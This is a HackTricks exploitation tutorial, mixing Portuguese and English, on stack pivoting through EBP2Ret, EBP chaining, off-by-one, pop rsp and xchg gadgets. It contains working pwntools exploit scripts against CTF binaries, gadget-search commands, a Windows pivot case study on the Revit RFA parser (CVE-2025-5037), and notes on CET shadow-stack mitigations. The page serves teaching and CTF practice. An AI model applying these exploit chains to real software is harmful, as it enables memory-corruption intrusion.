Stack Pivoting - EBP2Ret - EBP chaining
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Esta técnica explora a capacidade de manipular o Base Pointer (EBP/RBP) para encadear a execução de múltiplas funções através do uso cuidadoso do frame pointer e da sequência de instruções leave; ret.
Como lembrete, em x86/x86-64 leave é equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
E como o salvo EBP/RBP está na stack antes do EIP/RIP salvo, é possível controlá‑lo controlando a stack.
Notas
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leavemight not appear and this technique won’t work.
EBP2Ret
This technique is particularly useful when you can alter the saved EBP/RBP but have no direct way to change EIP/RIP. It leverages the function epilogue behavior.
If, during fvuln’s execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.
Note how you need to know 2 addresses: the address where ESP/RSP is going to go, and the value stored at that address that ret will consume.
Construção do Exploit
First you need to know an address where you can write arbitrary data/addresses. RSP will point here and consume the first ret.
Then, you need to choose the address used by ret that will transfer execution. You could use:
- A valid ONE_GADGET address.
- The address of
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - The address of a
jmp esp;gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
Remember that before any of these addresses in the controlled area, there must be space for the pop ebp/rbp from leave (8B on amd64, 4B on x86). You can abuse these bytes to set a second fake EBP and keep control after the first call returns.
Off-By-One Exploit
There’s a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
It’s also common to use a RET sled in the stack and put the real ROP chain at the end to make it more probable that the new RSP points inside the sled and the final ROP chain is executed.
EBP Chaining
By placing a controlled address in the saved EBP slot of the stack and a leave; ret gadget in EIP/RIP, it’s possible to move ESP/RSP to an attacker-controlled address.
Now RSP is controlled and the next instruction is ret. Place in the controlled memory something like:
&(next fake EBP)-> Loaded bypop ebp/rbpfromleave.&system()-> Called byret.&(leave;ret)-> Aftersystemends, moves RSP to the next fake EBP and continues.&("/bin/sh")-> Argument forsystem.
This way it’s possible to chain several fake EBPs to control the flow of the program.
This is like a ret2lib, but more complex and only useful in edge-cases.
Além disso, aqui você tem um example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
dica de alinhamento amd64: System V ABI requer alinhamento de pilha de 16 bytes nos pontos de chamada. Se sua chain chama funções como
system, adicione um alignment gadget (por exemplo,ret, ousub rsp, 8 ; ret) antes da chamada para manter o alinhamento e evitar crashes pormovaps.
EBP pode não ser usado
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
- Não otimizado / frame pointer usado:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Otimizado / frame pointer omitido:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
No amd64 você frequentemente verá pop rbp ; ret em vez de leave ; ret, mas se o frame pointer for omitido completamente então não há epílogo baseado em rbp pelo qual pivotar.
Outras maneiras de controlar RSP
pop rsp gadget
In this page você pode encontrar um exemplo usando esta técnica. Para esse desafio era necessário chamar uma função com 2 argumentos específicos, e havia um pop rsp gadget e havia um leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Confira a técnica ret2esp aqui:
Encontrando pivot gadgets rapidamente
Use seu gadget finder favorito para procurar por pivot primitives clássicas:
leave ; retem funções ou em bibliotecaspop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(ouadd esp, <imm> ; retno x86)
Exemplos:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Uma estratégia robusta de pivot usada em muitos CTFs/exploits:
- Use um pequeno overflow inicial para chamar
read/recvem uma grande região gravável (por exemplo,.bss, heap, ou mapped RW memory) e colocar uma cadeia ROP completa lá. - Retorne para um pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) para mover RSP para essa região. - Continue com a cadeia staged (por exemplo, leak libc, chamar
mprotect, depoisreadshellcode, e então pular para ele).
Windows: Destructor-loop weird-machine pivots (estudo de caso Revit RFA)
Parsers do lado cliente às vezes implementam loops de destrutores que chamam indiretamente um ponteiro de função derivado de campos de objetos controlados pelo atacante. Se cada iteração oferece exatamente uma chamada indireta (uma “one-gadget” machine), você pode converter isso em um stack pivot confiável e entrada ROP.
Observado na desserialização do Autodesk Revit RFA (CVE-2025-5037):
- Objetos forjados do tipo
AStringcolocam um ponteiro para attacker bytes no offset 0. - O loop de destrutores efetivamente executa um gadget por objeto:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” que contém
8B E0→mov esp, eax, eventualmenteret, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(move original rax into rbp) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Mitigações modernas que quebram stack pivoting (CET/Shadow Stack)
CPUs x86 e OSes modernos adotam cada vez mais CET Shadow Stack (SHSTK). Com SHSTK habilitado, ret compara o endereço de retorno na pilha normal com uma shadow stack protegida por hardware; qualquer discrepância gera uma falha de Control-Protection e encerra o processo. Portanto, técnicas como EBP2Ret/leave;ret-based pivots irão travar assim que o primeiro ret for executado a partir de uma pivoted stack.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notas para labs/CTF:
-
Algumas distros modernas habilitam SHSTK para binaries compatíveis com CET quando o hardware e o glibc dão suporte. Para testes controlados em VMs, o SHSTK pode ser desabilitado no sistema inteiro via o parâmetro de boot do kernel
nousershstk, ou habilitado seletivamente via tunables do glibc durante o startup (veja referências). Não desabilite mitigations em targets de produção. -
Técnicas baseadas em JOP/COOP ou SROP ainda podem ser viáveis em alguns targets, mas o SHSTK especificamente quebra pivots baseados em
ret. -
Nota sobre Windows: Windows 10+ expõe user-mode e o Windows 11 adiciona kernel-mode “Hardware-enforced Stack Protection” construído sobre shadow stacks. Processos compatíveis com CET impedem stack pivoting/ROP em
ret; desenvolvedores optam por isso via CETCOMPAT e políticas relacionadas (veja referência).
ARM64
Em ARM64, os prologue e epilogues das funções não armazenam nem recuperam o registrador SP na stack. Além disso, a instrução RET não retorna para o endereço apontado por SP, mas para o endereço dentro de x30.
Portanto, por padrão, apenas abusar do epílogo você não conseguirá controlar o registrador SP sobrescrevendo alguns dados dentro da stack. E mesmo que você consiga controlar o SP, ainda precisará de uma forma de controlar o registrador x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
A maneira de realizar algo semelhante a stack pivoting em ARM64 seria conseguir controlar o
SP(controlando algum registrador cujo valor é passado para oSPou porque por algum motivo oSPestá tomando seu endereço da stack e temos um overflow) e então abusar do epílogo para carregar o registradorx30a partir de umSPcontrolado e darRETpara ele.
Também na página a seguir você pode ver o equivalente de Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_arrayentries + calling__libc_csu_fini(more info here). Abusing this “eternal” write, it’s written a ROP chain in the .bss and end up calling it pivoting with RBP. - Documentação do kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — detalhes sobre SHSTK,
nousershstk, flags em/proc/$PID/status, e habilitação viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


